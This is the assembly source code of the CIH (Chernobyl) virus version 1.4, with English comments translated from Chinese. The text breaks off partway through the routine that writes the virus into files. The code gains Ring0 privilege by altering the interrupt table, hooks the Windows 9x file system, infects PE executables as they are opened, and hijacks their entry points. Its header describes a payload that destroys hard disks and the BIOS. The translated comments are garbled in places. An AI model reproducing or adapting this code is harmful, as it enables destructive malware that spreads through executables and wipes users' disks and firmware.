Chinese comment from the CIH virus 1.4 version
English notes in the source program have not been modified, all retain ********************************************* ***********************************************
; * The Virus Program Information *
*********************************************************** ***********************************
; * *
; * Designer: CIH Source: TTIT of Tatung in Taiwan *
; * Create Date: 04/26/1998 Now version: 1.4 *
; * Mode Time: 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0: Tasm / M CIH *
; * Turbo Link Version 3.01: TLINK / 3 / T CIH, CiH.exe *; Compilation Connection Method
; * *; Use Turboassembler
; * ================================================= ========================== *; can be found in Borland C 3.1
* Modification History *
; * ================================================= =========================== *
; * v1.0 1. CREATE The Virus Program. *
; * 2. The Virus Modifies IDt To Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code Doesn't reload Into system. *
; * 4. Call IFSMGR_INSTALLESYSTEMAPIHOK to Hook File System. *
; * 5. Modifies Entry Point of IFSMGR_INSTALLSYSTEMAPIHOK. *
; * 6. When System Opens existing pe file, the file will be *
; * Inflected, and the file doesn't be reinfected. *; * 7. IT is read-only. *
; * 8. When a file is infected, the model *
; * of the file also don't be changed. *
; * 9. When My Virus Uses ifsmgr_ring0_fileio, IT WILL NOT CALL *
; * Previous FileSystemapihook, It Will Call The Function *
; * That The IFS Manager Would Normal Call To IMPLEMENT *
; * this particular I / O Request. *
; * 10. The Virus Size Is Only 656 bytes. *
; * ================================================= =========================== *
; * v1.1 1. especially, the file what be infreaded will not increable *
; * it's size ... ^ __ ^ *
; * 05/15/1998 2. Hook and modify structured exception handing. *
; * When Exception Error Occurs, OS System Should Be in *
; * Windows Nt. So my cute virus will not contact to run, *
; * it will jmup to originel application to run. *
; * 3. Use better algorithm, reduuce virus code size. *
; * 4. The Virus "Basic" Size is Only 796 Bytes. *
; * ================================================= =========================== *
; * v1.2 1. Kill All HardDisk, And Bios ... super ... killer ... *; * 2. modify the bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" size is 1003 bytes. *
; * ================================================= =========================== *
; * v1.3 1. Modify the bug what winzip self-extractor occurs error. *
; * So when open winzip self-extractor ==> DON '中文' *
; * 05/24/1998 2. The Virus "Basic" size is 1010 bytes. *
; * ================================================= =========================== *
; * v1.4 1. Full Modify the bug: Winzip self-extractor ocurs error. *
; * 2. Change the date of killing computers. *
; * 05/31/1998 3. Modify Virus Version CopyRight. *
; * 4. The Virus "Basic" size is 1019 bytes. *
*********************************************************** ***********************************
.586p; 586 protection mode compilation
*********************************************************** ***********************************
; * Original Pe EXECUTABLE File (Don't modify this section) *
*********************************************************** ***********************************
OriginalAppexe Segment
FileHeader:; Compile-connected PE format executable file header
DB 04DH, 05AH, 090H, 000H, 003H, 000H, 000H, 000H, 0FFH, 0FFH, 000H, 000H
DB 0B8H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 040H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 080H, 000H, 000H, 000H
DB 00, 01FH, 0BAH, 00EH, 000H, 0B4H, 009H, 0CDH
DB 021H, 0B8H, 001H, 04CH, 0CDH, 021H, 054H, 068H
DB 069H, 073H, 020H, 070H, 072H, 06FH, 067H, 072H
DB 061H, 06DH, 020H, 063H, 061H, 06EH, 06EH, 06FH
DB 074H, 020H, 062H, 065H, 020H, 072H, 075H, 06EH
DB 020H, 069H, 06EH, 020H, 044H, 04FH, 053H, 020H
DB 06DH, 06FH, 064H, 065H, 02EH, 00DH, 00DH, 00AH
DB 024H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 050H, 045H, 000H, 000H, 04CH, 001H, 001H, 000H
DB 0F1H, 068H, 020H, 035H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 0E0H, 000H, 00FH, 001H
DB 00BH, 001H, 005H, 000H, 000H, 010H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 010H, 010H, 000H, 000H, 000H, 010H, 000H, 000H
DB 000H, 020H, 000H, 000H, 000H, 000H, 040H, 000H
DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H
DB 004H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 004H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 020H, 000H, 000H, 000H, 002H, 000H, 000H
DB 000H, 000H, 000H, 000H, 002H, 000H, 000H, 000H
DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H
DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H
DB 000H, 000H, 000H, 000H, 010H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000HDB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 02EH, 074H, 065H, 078H, 074H, 000H, 000H, 000H
DB 000H, 010H, 000H, 000H, 000H, 010H, 000H, 000H
DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 020H, 000H, 000H, 060H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DB 0C3H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
DD 00000000h, Virussize
OriginalAppexe Ends
*********************************************************** ***********************************
; * My Virus Game *
*********************************************************** *************************; *********************** *****************************************
; * Constant define *
*********************************************************** *********
True = 1
False = 0
Debug = false
Majorvirusversion = 1; main version number
Minorvirusversion = 4; deputy version number
Virusversion = majorvirusversion * 10h minorvirusversion; synthetic version number
IF debug; is it a debugging?
FirstkillhardiskNumber = 81h; kill the second hard disk "D:"
HOOKEXCEPTIONNUMBER = 05H; Using No. 5 Interrupt
Else
FirstkillhardiskNumber = 80h; kill the first hard disk "C:"
HOOKEXCEPTIONNUMBER = 03H; Using 3 interruption
ENDIF
FILENAMEBUFFERSIZE = 7FH
*********************************************************** *********
*********************************************************** *********
Virusgame segment
Assume CS: Virusgame, DS: Virusgame, SS: Virusgame
Assume ES: Virusgame, FS: Virusgame, GS: Virusgame
*********************************************************** *********
; * Ring3 Virus Game Initial Program *
*********************************************************** *********
MyvirusStart:
Push EBP
**********************************************
; * Let's modify structured exception *
; * Handing, prevent exception error *
; * Occurrence, especially in nt. *
**********************************************
Lea Eax, [ESP-04H * 2]
XOR EBX, EBX
XCHG Eax, FS: [EBX]
Call @ 0
@ 0:
POP EBX; Get program start offset?
Use this offset relative offset to obtain an absolute address (the virus program is used in large quantity)
Lea Ecx, StoptorUnviruscode- @ 0 [EBX]
Push ECX
Push EAX
**********************************************
; * Let's modify *
; * IDT (Interrupt Descriptor Table) *
; * TO GET RING0 PRIVILEGE ... *
**********************************************
Push Eax;
SIDT [ESP-02H]; GET IDT BASE Address?; Get the base address to EBX
POP EBX;
Add ebx, hookExceptionNumber * 08H 04H; zf = 0; calculate the base address to eBXCLI to use the interrupt;
MOV EBP, [EBX]; Get Exception Base
MOV BP, [EBX-04H]; Entry Point?; achieve interrupt base address to EBP
Lea ESI, MyExceptionHook- @ 1 [ECX]
Push ESI?; ESI is a viral interrupt routine address
MOV [EBX-04H], Si;
SHR ESI, 16; Modify Exception
MOV [EBX 02H], Si; Entry Point Address
POP ESI
**********************************************
* Generate Exception to get ring0 *
**********************************************
INT hookexceptionNumber; generateException; enter level 0 in an interrupt
ReturnadDressofendexception = $
**********************************************
; * Merge All Virus Code Section *
**********************************************
PUSH ESI
Mov ESI, ESI, ESI point to viruses
LoopofmergeAllViruscodesection:
MOV ECX, [EAX-04H]
REP MOVSB; copy virus code to allocated system memory first
Sub Eax, 08h
MOV ESI, [EAX]
OR ESI, ESI
JZ Quitoopofmerge; zf = 1; copy end
JMP loopofmergelectronviruscodesection; copy next paragraph
QuitLoopofmergelectronViruscodeSection:
POP ESI
**********************************************
* Generate Exception Again *
**********************************************
Int hookExceptionNumber; GenerateException AGA
; Once again enter level 0
**********************************************
* Let's restore *
; * Structured Exception Handing *
**********************************************
ReadyRESTORESE:
STI; open interrupt
XOR EBX, EBX
JMP Restorese
**********************************************
; * When exception error ocurs, *
; * OOS System Should Be in nt. *
; * SO My Cute Virus Will NOT *
; * Continue To Run, IT JMups to *
; * Original Application To Run. *
**********************************************
StoptorUnviruscode:
@ 1 = stoptorunviruscode
XOR EBX, EBX
Mov Eax, FS: [EBX]
MOV ESP, [EAX]
RESTORESE:
POP DWORD PTR FS: [EBX] POP EAX
**********************************************
; * Return Original App To Execute *
**********************************************
POP EBP
Push 00401000H; Push Original
OriginalAddressofentryPoint = $ -4; App Entry Point To Stack
; Put the start address of the original program
Ret; return to original app entry point; return to the beginning of the original program as a child program
*********************************************************** *********
; * Ring0 Virus Game Initial Program *
*********************************************************** *********
MyExceptionHook:
@ 2 = MyExceptionHook
JZ InstallmyFileSystemapihook; if the virus code has been copied
; Program that goes to the installation file system hook
**********************************************
; * Do My Virus EXIST in System!? *
**********************************************
MOV ECX, DR0; see if DR0 is set (DR0 is the virus residence sign)
JECXZ AllocateSystemMemoryPage; no setup, allocate system memory
Add DWORD PTR [ESP], ReadyRestorese-returnaddressofendexception
**********************************************
; * Return to Ring3 Initial Program *
**********************************************
Exitring0init:
MOV [EBX-04H], BP;
SHR EBP, 16; Restore Exception
MOV [EBX 02H], BP;; Restore the original interrupt base address
IRETD; interrupt return
**********************************************
; * Allocate SystemMemory Page To Use *
**********************************************
AllocateSystemMemoryPage:
MOV DR0, EBX; Set The Mark of My Virus EXIST ITEM
; Set DR0, it is the sign of the virus resides
PUSH 00000000FH;
PUSH ECX;
Push 0FFFFFFFFH;
Push ECX; calling method Ulong Extern _PageAllocate (Ulong Npages, Ulong Ptype, Ulong VM,
Ulong alignmask, ulong minphys, ulong maxphys, ulong * Physaddr,
Ulong flags;
PUSH ECX;
PUSH ECX;
Push 000000001H;
Push 000,000002h;
INT 20H; VMMCALL _PAGEAllocate; VXD call
_PageAllocate = $;
DD 00010053H; Use Eax, ECX, EDX, AND FLAGS
Add ESP, 08H * 04H; Recovery Stack Pointer
XCHG EDI, EAX; EDI = SystemMemory Start Address; EDI points to allocated system memory first
Lea Eax, MyvirusStart- @ 2 [ESI]; EAX points to the beginning of the virus
IRETD; RETURN TO RING3 Initial Program; exit interruption, return to level 3 (return "Merge All Virus Code Section")
**********************************************
; * Install My File System API Hook *
**********************************************
InstallmyFileSystemapiHook:
Lea eax, filesystemapihook- @ 6 [edi]; pointing to the file system hook program
Push Eax;
INT 20H; vxdcall ifsmgr_installfilesystemapihook
IFSMGR_INSTALLFILESTEMAPIHOK = $;
DD 00400067H; USE Eax, ECX, EDX, AND FLAGS
; Changed to Call [IFSMGR_InstallFileSystemapiHook]
Mov DR0, Eax; Save OldfilesystemapiHook Address
; Save the original file system hook program first site to DR0 (the return value of the modulation is the previous chain)
POP Eax; Eax = FileSystemapiHook Address
; Save Old IFSMGR_INSTALLFILESTEMAPIHOOK Entry Point
MOV ECX, IFSMGR_INSTALLESYSTEMAPIHOK- @ 2 [ESI]
MOV EDX, [ECX]; EDX is the address of the IFSMGR_INSTALLSYSTEMAPIHOOK function
Mov OldInstallFileSystemapiHook- @ 3 [eax], EDX?; save
Modify IFSMGR_INSTALLFILESYSTEMAPIHOK ENTRY POINT
Lea eax, installfilesystemapihook- @ 3 [eax]
MOV [ECX], EAX?; Set the address of the new IFSMGR_INSTALLFILESTEMAPIHOOK function call
To make the INSTALLSYSTEMAPIHOOK
CLI
JMP EXITRING0INIT?; Exit 0 (INT 3 or INT 5)
*********************************************************** *********
; * Code size of merge virus code section *
*********************************************************** *********
CODESIZEOFMERGEVIRUSCODESECTION = Offset $
*********************************************************** *********
; * Ifsmgr_installfilesystemapihook *
*********************************************************** *********
InstallFilesystemapihook:; New IFSMGR_INSTALLSYSTEMAPIHOK function call
Push EBX
Call @ 4;
@ 4:;
POP EBX; MOV EBX, OFFSET FileSystemapiHook; Get offset addresses add ebx, filesystemapihook- @ 4; plus offset = FileSystemapiHook offset
Push EBX
INT 20H; vxdcall ifsmgr_removefilesystemapihook; call vxd to remove the hook to FileSystemapiHook
IFSMGR_RemoveFileSystemapiHook = $
DD 00400068H; USE EAX, ECX, EDX, AND FLAGS; call number
POP EAX
Call Original IFSMGR_INSTALLFILESYSTEMAPIHOK
; To Link Client FileSystemapiHook
Push DWORD PTR [ESP 8]
Call OldInstallFileSystemapiHook- @ 3 [ebx]; call the original IFSMGR_InstallFileSystemapiHook function setting hook
POP ECX
Push EAX
Call Original IFSMGR_INSTALLFILESYSTEMAPIHOK
; To Link My FileSystemapiHook
Push EBX
Call OldInstallFileSystemapiHook- @ 3 [ebx]; call the original IFSMGR_InstallFileSystemapiHook function setting hook
POP ECX
MOV DR0, Eax; Adjust OldFilesystemapiHook Address; Adjusting the original address
POP EAX
POP EBX
RET
*********************************************************** *********
; * Static Data *
*********************************************************** *********
OldInstallFileSystemapiHook DD?; The original InstallFileSystemapiHook called address
*********************************************************** *********
; * Ifsmgr_filesystemhook *
*********************************************************** *********
**********************************************
; * Ifsmgr_filesystemhook entry point *
**********************************************
FileSystemapihook:; Installed File System Hook
@ 3 = FileSystemapiHook
Pushhad; save register (20H long)
Call @ 5;
@ 5:;
POP ESI; MOV ESI, OFFSET; ESI is the offset of the current instruction
Add ESI, VirusgameDataStartaddress- @ 5
; ESI's offset of FileSystemapiHook plus the difference between VirusGameDataStartAddress = VirusGameDataStartAddress offset
**********************************************
; * Is Onbusy!? *
**********************************************
TEST BYTE PTR (Onbusy- @ 6) [ESI], 01H; if (onbusy); Test "Busy" Sign JNZ Pifunc; Goto Pifunc; "Busy" Go to PIFSFUNC
**********************************************
; * Is OpenFile !? *
**********************************************
; if (notopenfile)
Goto Prevhook
Lea EBX, [ESP 20H 04H 04H]; EBX is the address of functionNum
The modulation format of the file system hook is as follows
FileSystemapiHookFunction (Pifsfunc FSDFNADDR, INT FunctionNum, Int Drive, Int ResourceFlags, Int CodePage, Pioreq Pir)
Assistant 2
CMP DWORD PTR [EBX], 00000024H; Test this call is to open the file
; #Define ifsfn_open 36 defined in IFS.H in DDK
JNE prevhook; not jump to the previous file hook
**********************************************
; * Enable Onbusy *
**********************************************
Inc Byte Ptr (Onbusy- @ 6) [ESI]; Enable Onbusy; Setting "Busy" logo as "Busy"
**********************************************
* Get FilePath's Drivenumber, *
; * Ten set the drivename to *
* Filenamebuffer. *
**********************************************
; * EX. If Drivenumber IS 03H, *
* DRIVENAME IS 'C:'. *
**********************************************
; MOV ESI, Offset FileNameBuffer
Add ESI, FileNameBuffer- @ 6; ESI points to FileNameBuffer
Push ESI; save it
MOV Al, [EBX 04H]; EBX 4 is the address of INT Drive
CMP Al, 0FFH; is the universal naming convention address
JE CallUnitobcspath;
Add Al, 40h
MOV AH, ':'
MOV [ESI], EAX; processed into "x:"
Inc ESI
Inc ESI
**********************************************
* Unitobcspath *
**********************************************
; * This service convers *
* a canonicalized unicode pathname *; converts the characters of Canonicalized Unicode to ordinary BCS character sets
; * to a Normal Pathname in the *
* Specified BCS Character Set. *
**********************************************
Calling method Unitobcspath (unsigned char * pbcspath, parsedpath * punipath, unsigned int maxlength, int t) Callunitobcspath:
Push 00000000H; character set
Push filenamebuffersize; character length
MOV EBX, [EBX 10h]
MOV EAX, [EBX 0CH]
Add Eax, 04H
Push Eax; Uni Character
Push ESI; BCS Character
INT 20H; vxdcall unitobcspath; call unitobcspath
Unitobcspath = $
DD 00400041H; call ID
Add ESP, 04H * 04H
**********************************************
; * Is filename '.exe'!? *
**********************************************
; CMP [ESI EAX-04H], '.exe'
CMP [ESI EAX-04H], 'EXE.'; whether the test is * .exe (executable) file
POP ESI
JNE Disableonbusy
IF Debug
**********************************************
; * ONLY for debug *
**********************************************
; CMP [ESI EAX-06H], 'FUCK'
CMP [ESI EAX-06H], 'KCUF'; if it is test use, the test is "fuck.exe"
JNE Disableonbusy
ENDIF
**********************************************
; * Is open existing file!? *
**********************************************
IF (notopenexistingfile)
Goto Disableonbusy
CMP Word PTR [EBX 18H], 01H; Whether the test is open
JNE Disableonbusy
**********************************************
; * Get Attributes of the file *
**********************************************
MOV AX, 4300H; IFSMGR_RING0_FILEIO's acquisition file attribute number (r0_fileattributes / get_attributes)
INT 20H; vxdcall ifsmgr_ring0_fileio; calls ifsmgr_ring0_fileio's ability to get file properties
IFSMGR_RING0_FILEIO = $
DD 00400032H; call number
JC Disableonbusy; failure?
Push ECX
**********************************************
; * GET IFSMGR_RING0_FILEIO Address *
**********************************************
MOV EDI, DWORD PTR (ifsmgr_ring0_fileio- @ 7) [ESI]
MOV EDI, [EDI]; get the address of IFSMGR_RING0_FILEIO call
**********************************************
; * Is Read-Only File !? *
************************************ TEST CL, 01H
JZ OpenFile; Test is read-only file
**********************************************
; * Modify read-only file to write *
**********************************************
MOV AX, 4301H; IFSMGR_RING0_FILEIO's acquisition file attribute number (r0_fileattributes / set_attributes)
XOR ECX, ECX
Call edi; vxdcall ifsmgr_ring0_fileio; call the filemgr_ring0_fileio change file properties, make the file write
**********************************************
; * Open file *
**********************************************
OpenFile:
XOR EAX, EAX
MOV AH, 0D5H; IFSMGR_RING0_FILEIO Open File function number (r0_opencreatfile or ro_opencreat_in_context)
XOR ECX, ECX; file properties
XOR EDX, EDX
Inc EDX
MOV EBX, EDX
Inc EBX; ESI is the first address of the file name
Call edi; vxdcall ifsmgr_ring0_fileio; call IFSMGR_RING0_FILEIO Open File Function
XCHG EBX, EAX; MOV EBX, FileHandle; Save File Handle in EBX
**********************************************
; * Need to restore *
; * Attributes of the file!? *
**********************************************
POP ECX
Pushf
TEST CL, 01H
JZ isopenfileok; Do you need to recover file properties (there is no need to recover if you write attribute)
**********************************************
; * Restore attributes of the file *
**********************************************
MOV AX, 4301H; IFSMGR_RING0_FILEIO's acquisition file attribute number (r0_fileattributes / set_attributes)
Call edi; vxdcall ifsmgr_ring0_fileio; Restore file properties
**********************************************
; * Is Open file ok!? *
**********************************************
Isopenfileok:
POPF
JC Disableonbusy; Is it successful?
**********************************************
* Open file already succeed. ^ __ ^ *
**********************************************
Push ESI; Push FileNameBuffer Address to Stack; Push the file name data area
Pushf; Now cf = 0, push flag to stack; save flag
Add ESI, DataBuffer- @ 7; MOV ESI, Offset DataBuffer; ESI points to the first address of the data area
****************************
; * Get OffsettonewHeader *
****************************
XOR EAX, EAX
MOV AH, 0D6H; IFSMGR_RING0_FILEIO read file function number (r0_readfile)
For doing minimal viruscode's length,
I Save EAX TO EBP.
MOV EBP, EBP
Push 00000004H; read 4 bytes
POP ECX
PUSH 0000003CH; Read the DOS file header offset 3CH WINDOWS file header offset
POP EDX
Call edi; vxdcall ifsmgr_ring0_fileio; reading files to ESI
MOV EDX, [ESI]; Windows file header offset to EDX
****************************
; * GET 'PE / 0' SIGNATURE *
; * of imagefileHeader, and *
; * Infected mark. *
****************************
Dec edx
MOV EAX, EBP; function number
Call edi; vxdcall ifsmgr_ring0_fileio; reading files to ESI
****************************
; * Is PE!? *
****************************
; * Is the file *
; * Already infected!? *
****************************
; * Winzip self-extractor *
* Doesn't Have Infected *
* Mark Because My Virus *
; * doesn't infect it. *
****************************
; CMP [ESI], '/ 0PE / 0'
CMP DWORD PTR [ESI], 00455000H; Judgment is a PE file (flag "PE / 0/0")
JNE closefile; close file
**********************************************
; * The file is ^ o ^ *
; * PE (portable executable "indeed. *
**********************************************
; * The file isn't also infected. *
**********************************************
**********************************************
; * Start to infect the file *
**********************************************
; * Registers use status now: *
; * *
; * EAX = 04h *
; * Ebx = file handle *
* ECX = 04h *
; * Edx = 'pe / 0/0' Signature of *
; * ImageFileHeader Pointer's *
* Former byte. *
; * ESI = DataBuffer Address ==> @ 8 *
; * EDI = IFSMGR_RING0_FILEIO Address *
; * EBP = D600H ==> Read data in file *
*********************************************; * STACK DUMP: *
; * *
; * ESP => ------------------------- *
; * | Eflag (cf = 0) | *
; * ------------------------- *
; * | Filenamebufferpointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | Eax | *
; * ------------------------- *
; * | RETURN Address | *
; * ------------------------- *
**********************************************
Push Ebx; Save File Handle; Save File Handle
Push 00h; set viruscodesectionTablendmark
****************************
; * Let's set the *
; * Virus' Infected Mark *
****************************
Push 01h; size
Push EDX; POINTER OF FILE; EDX point to PE file header offset 00h
Push EDI; Address of buffer; EDI is the address of IFSMGR_RING0_FILEIO (incorrectly)
****************************
; * Save esp register *
****************************
MOV DR1, ESP
****************************
; * Let's set the *
; * NewadDressofentryPoint *
; * (ONLY first set size) *
****************************
Push Eax; Size
****************************
; * Let's read *
; * Image header in file *
****************************
MOV EAX, EBP
Mov Cl, SizeOfImageHeadertoread; Word Numberofsections
Add Edx, 07h; Move Edx to Numberofsections; PE file head 07h is Numberofsections (block number)
Call edi; vxdcall ifsmgr_ring0_fileio; read NumberOfsections to ESI
****************************
; * Let's set the *
; * NewadDressofentryPoint *
; * (Set Pointer of File, *; * Address of buffer) *
****************************
Lea Eax, (AddressofentryPoint- @ 8) [EDX]
Push Eax; Pointer Of File
Lea Eax, (NewaddressofentryPoint- @ 8) [ESI]
Push Eax; Address Of Buffer
****************************
* Move Edx to the start *
* of sectionTable in file *
****************************
Movzx Eax, Word Ptr (SizeOfoptionalHeader- @ 8) [ESI]
Lea EDX, [EAX EDX 12H]; EDX is the offset of sectionTable
****************************
* Let's get *
; * Total Size of Sections *
****************************
MOV Al, SizeOfScetionTable; ScetionTable size (bytes)
I Assume Numberofsections <= 0ffh
MOV CL, (Numberofsections- @ 8) [ESI]
Mul CL; Multiply the number of pieces in each block = block size
****************************
; * Let's set section table *
****************************
; Move ESI to the Start of SectionTable
Lea ESI, (StartofsectionTable- @ 8) [ESI]; ESI points to the first location of the block table (in the viral dynamic data area)
Push Eax; size; block size
Push EDX; POINTER OF FILE; EDX is the offset of sectionTable
Push ESI; Address of buffer;
****************************
; * The code size of merge *
; * Virus code section and *
; * Total size of virus *
; * Code section Table Must *
; * beall or equal the *
; * Unused Size of *
; * FOLLOWING Section Table *
****************************
Inc ECX
Push Ecx; Save Numberofsections 1
SHL ECX, 03H; * 8
Push Ecx; Save TotalsizeofviruscodeSectionTable; Reserved Virus Block Table Space
Add ECX, EAX
ADD ECX, EDX; ECX file offset
Sub ECX, (SizeOfheaders- @ 9) [ESI]
NOT ECX
INC ECX;
; ECX is the file head size - the offset of the body = unused space
; Save My Virus First Section Code
SIZE OF FOLLOWING Section Table ...
NOT INCLUDE TABE OF Virus Code Section Table
Push ECX
XCHG ECX, ECX; ECX = Size of Section Table; ECX is a block size; Save Original Address of Entry Point
MOV Eax, (AddressofentryPoint- @ 9) [ESI]; Entrance RVA Address
Add Eax, (ImageBase- @ 9) [ESI]; load base
MOV (OriginalAddressofentryPoint- @ 9) [ESI], EAX; save the actual entrance address after load
CMP Word PTR [ESP], Small CodesizeOfmergeViruscodeSEC; Unexpected Space and Virus First Size Comparison
Jl onlysetinfectedmark; less than the infection mark
****************************
; * Read all section Tables *
****************************
MOV EAX, EBP; read function number
Call edi; vxdcall ifsmgr_ring0_fileio; reading block table to ESI (@ 9)
****************************
; * Full modify the bug: *
; * Winzip self-extractor *
; * Occurs Error ... *
****************************
; * SO WHEN User Opens *
; * Winzip self-extractor, *
; * Virus doesn't infect it. *
****************************
; * First, virus gets the *
* PointertorawData in the *
; * Second Section Table, *
; * Reads the section Data, *
; * and tests the string of *
; * 'Winzip (r)' ... *
****************************
XCHG EAX, EBP
Push 00000004H
POP ECX; reading 4 bytes
Push Edx
MOV EDX, (SizeOfScectionTable PointertorawData- @ 9) [EBX]; EDX is the offset of the second block (.rdata)
Add EDX, 12H; add 10H 2H (10h is "Winzip ....")
Call edi; vxdcall ifsmgr_ring0_fileio; reading 4 bytes to ESI
CMP [ESI], 'NZIP'
CMP DWORD PTR [ESI], 'PIZN'; Judgment is WinZip self-extracting file
JE notsetinfectedmark; is not set to the infection mark
POP EDX; EDX points to block tables in the file
****************************
; * Let's set total virus *
* Code section table *
****************************
EBX = My Virus First Section Code
SIZE OF FOLLOWING Section Table
POP EBX; unused space size
POP EDI; EDI = TotalsizeOfviruscodeSectionTabl
POP ECX; ECX = NumberOfsections 1
Push EDI; SIZE
Add Edx, EBP; EBP is a block size Push Edx; Pointer Of File; point to block table (first block)
Add EBP, ESI; EBP points to the block table of the virus data area (first block)
Push EBP; Address of buffer
****************************
; * Set the first virus *
; * Code section size in *
; * Viruscodeesetable *
****************************
Lea EAX, [EBP EDI-04H]
MOV [EAX], EBX; setting the size of the virus code (unused space size) to the virus block table
****************************
; * Let's set my virus *
; * First section code *
****************************
Push EBX; Size; Virus code size (unused space size)
Add Edx, EDI
Push EDX; POINTER OF FILE; point to block table (first block) size ?? = virus body (the virus begins)
Lea Edi, (MyvirusStart- @ 9) [ESI]
Push EDI; Address of buffer; pointing to the beginning of the virus
****************************
; * Let's modify the *
; * Addressofentrypoint to *
; * My Virus Entry Point *
****************************
MOV (NewaddressofentryPoint- @ 9) [ESI], EDX; Save new program entry (virus body)
****************************
; * Setup initial data *
****************************
Lea Edx, [ESI-SIZEOFSCETABLE]; EDX first reduced a block length to cooperate with the following "Boid 1"
Mov EBP, OFFSET VIRUSSIZE; EBP is the length of the virus
JMP StartTowritecodetosections
****************************
; * WRITE CODE TO Sections *
****************************
Loopofwritecodetosections:
Add Edx, SizeOfScetionTable; Board 1:
Refers to the next item
MOV EBX, (SizeOfrawData- @ 9) [EDX]; EBX is the SizeOfrawData for the block entry (block size)
Sub EBX, (Virtualsize- @ 9) [EDX]; minus Virtualsize = This block is unused
Jbe Endofwritecodetosections
Push Ebx; SIZE
Sub Eax, 08h
MOV [EAX], EBX; Write virus block table
MOV EBX, (PointertorawData- @ 9) [EDX]; EBX is a block of physical (actual) offset?
Add ebx, (Virtualsize- @ 9) [EDX]; plus Virtualsize
PUSH EBX; POINTER OF FILE; EBX Pointing to this block unused space
Push Edi; Address of buffer
Mov EBX, (virtualsize- @ 9) [EDX]
Add ebx, (VirtualAddress- @ 9) [edx]
Add EBX, (ImageBase- @ 9) [ESI]; EBX is the actual address MOV [EAX 4], EBX; saved to the virus block table
MOV EBX, [EAX]; this block is unused
Add (Virtualsize- @ 9) [EDX], EBX; VirtualSize plus the block entry
; Section Contains Initialized Data ==> 00000040H
; Section can be read. ==> 40000000H
OR (Characteristics- @ 9) [EDX], 40000040H; Block Properties of the block entry (change to readable, and include initialization data)
StartToWritecodetosections:
SUB EBP, EBX; Virus Size - Virus Block Size
Jbe setviruscodeeseTablendmark; if it is smaller than (the virus is completed), set the virus block table end.
Add Edi, Ebx; Move Address of buffer; pointing to the virus
Endofwritecodetosections:
Loop loopofwritecodetosections
****************************
; * ONLY SET INFECTED MARK *
****************************
OnlysetInfectedmark:
MOV ESP, DR1; only set infection logo
JMP WRITEVIRUSCODETOFILE; jump to the program to write a virus to the file to be infected
****************************
; * Not set infread mark *
****************************
NotsetInfectedmark:
Add ESP, 3CH; Do not set infection markers
JMP closefile; jump to offset
****************************
; * SET VIRUS CODE *
; * Section Table End Mark *
****************************
SetviruscodeeendMark:
Adjust Size of Virus Section Code to Correct Value
Add [EAX], EBP; Last item of the virus block table
Add [ESP 08H], EBP
Set end mark
XOR EBX, EBX
MOV [EAX-04H], EBX; set the block table end flag
****************************
; * When virusgame calls *
; * Vxdcall, vmm modifies *
; * the 'INT 20H' and the *
; * 'Service Identifier' *
* To 'call [xxxxxxxxx]'. *
****************************
; * Before Writing My Virus *
; * To file, i must restore *
; * Them first. ^ __ ^ *
****************************
Lea Eax, (lastvxdcalladdress-2- @ 9) [ESI]; the address of the command to call VXD
MOV CL, VXDCALLTABLESIZE; Number of VXDs used
LoopofrestorevxdCallid:
MOV Word PTR [EAX], 20CDH; Restore form "int 20h" form
